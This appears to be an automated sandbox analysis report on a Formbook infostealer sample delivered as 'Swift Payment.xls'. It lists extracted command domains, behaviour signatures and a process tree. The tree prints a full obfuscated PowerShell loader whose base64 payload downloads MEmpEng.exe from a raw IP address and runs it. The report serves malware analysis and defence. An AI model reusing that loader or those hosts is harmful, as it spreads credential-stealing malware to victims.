Analysis
- max time kernel
149s - max time network
138s - platform
windows7_x64 - resource
win7-20240708-en - resource tags
- submitted
29/08/2024, 14:12
General
- Target Swift Payment.xls
- Size 537KB
- Sample240829-rhtsbswarc
- SHA256 eaf3b9c1bdaf72da0a5d2a1a8c4f128712463c558e8af23830126bf07ef63847
Malware Config
Extracted
-
formbook
-
4.1
-
b48n
-
anifestmindset.net
-
ommybahamabigsales.shop
-
3tcxr.xyz
-
iano-world.net
-
rconf23.net
-
atherpa.shop
-
trllrpartners.club
-
5sawit777.pro
-
ctbhuxcdreioijresol.top
-
opinatlas.app
-
pinstar.xyz
-
mfengwa.top
-
8games13.xyz
-
tickpaket.online
-
iphuodongallbbtbtm.top
-
ental-bridges-51593.bond
-
laywithkemon.rest
-
lkpiou.xyz
-
a88.land
-
igfloppafan.club
Signatures
- Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 3 IoCs
- Blocklisted process makes network request 3 IoCs
- Downloads MZ/PE file
- Evasion via Device Credential Deployment 2 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 1 IoCs
- Drops file in System32 directory 1 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 30 IoCs
- Suspicious behavior: MapViewOfSection 6 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 35 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Swift Payment.xls"2⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\help.exe"C:\Windows\SysWOW64\help.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Roaming\MEmpEng.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe -Embedding1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C poWERShElL.exe -eX ByPaSS -NOp -W 1 -C DeVIcEcReDENtialdePLOYMENt.EXE ; iEx($(IeX('[systeM.TEXt.EncoDINg]'+[CHaR]0X3A+[cHaR]58+'UtF8.geTsTrING([sYsTEm.coNverT]'+[CHar]0x3A+[chAR]58+'fRomBAse64sTrinG('+[ChAR]0X22+'JEJqY0QgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSREVmaU5JVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1dUTnVqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbU5Xd3hBVWtuVCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcE9lVEpqQ056LHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE0sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZLKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3THRQQktOTnlLIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpVTkcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkQmpjRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNTU1L01FbXBFbmcuZXhlIiwiJEVOdjpBUFBEQVRBXE1FbXBFbmcuZXhlIiwwLDApO3N0YVJ0LXNsRWVwKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcTUVtcEVuZy5leGUi'+[cHAR]34+'))')))"2⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepoWERShElL.exe -eX ByPaSS -NOp -W 1 -C DeVIcEcReDENtialdePLOYMENt.EXE ; iEx($(IeX('[systeM.TEXt.EncoDINg]'+[CHaR]0X3A+[cHaR]58+'UtF8.geTsTrING([sYsTEm.coNverT]'+[CHar]0x3A+[chAR]58+'fRomBAse64sTrinG('+[ChAR]0X22+'JEJqY0QgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSREVmaU5JVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1dUTnVqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbU5Xd3hBVWtuVCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcE9lVEpqQ056LHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE0sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZLKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3THRQQktOTnlLIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpVTkcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkQmpjRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNTU1L01FbXBFbmcuZXhlIiwiJEVOdjpBUFBEQVRBXE1FbXBFbmcuZXhlIiwwLDApO3N0YVJ0LXNsRWVwKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcTUVtcEVuZy5leGUi'+[cHAR]34+'))')))"3⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nkx7xczb.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB4B0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB4AF.tmp"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Roaming\MEmpEng.exe"C:\Users\Admin\AppData\Roaming\MEmpEng.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\MEmpEng.exe"C:\Users\Admin\AppData\Roaming\MEmpEng.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
103621DE9CD5414CC2538780B4B75751
7E8BDF27898FD04B591B0B0011B10808
103621DE9CD5414CC2538780B4B75751
7E8BDF27898FD04B591B0B0011B10808
IEnetstateIntenet[1].hta
F06C5DE6.emf
CabAF14.tmp
RESB4B0.tmp
nkx7xczb.dll
nkx7xczb.pdb
MEmpEng.exe
CSCB4AF.tmp
nkx7xczb.0.cs
nkx7xczb.cmdline
memory/572-68-0x0000000000400000-0x000000000042F000-memory.dmp
memory/572-73-0x0000000000400000-0x000000000042F000-memory.dmp
memory/572-77-0x0000000000400000-0x000000000042F000-memory.dmp
memory/572-71-0x0000000000400000-0x000000000042F000-memory.dmp
memory/572-72-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1212-86-0x0000000006880000-0x0000000006923000-memory.dmp
memory/1212-76-0x0000000003180000-0x0000000003280000-memory.dmp
memory/1880-66-0x00000000004D0000-0x00000000004E8000-memory.dmp
memory/1880-67-0x0000000002180000-0x00000000021F6000-memory.dmp
memory/1880-65-0x0000000000810000-0x00000000008AC000-memory.dmp
memory/2024-79-0x0000000000740000-0x0000000000746000-memory.dmp
memory/2024-80-0x0000000000080000-0x00000000000AF000-memory.dmp
memory/2640-20-0x0000000001E50000-0x0000000001E52000-memory.dmp
memory/2640-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2640-58-0x000000007234D000-0x0000000072358000-memory.dmp
memory/2640-1-0x000000007234D000-0x0000000072358000-memory.dmp
memory/2640-91-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2640-94-0x000000007234D000-0x0000000072358000-memory.dmp
memory/2740-19-0x0000000001D80000-0x0000000001D82000-memory.dmp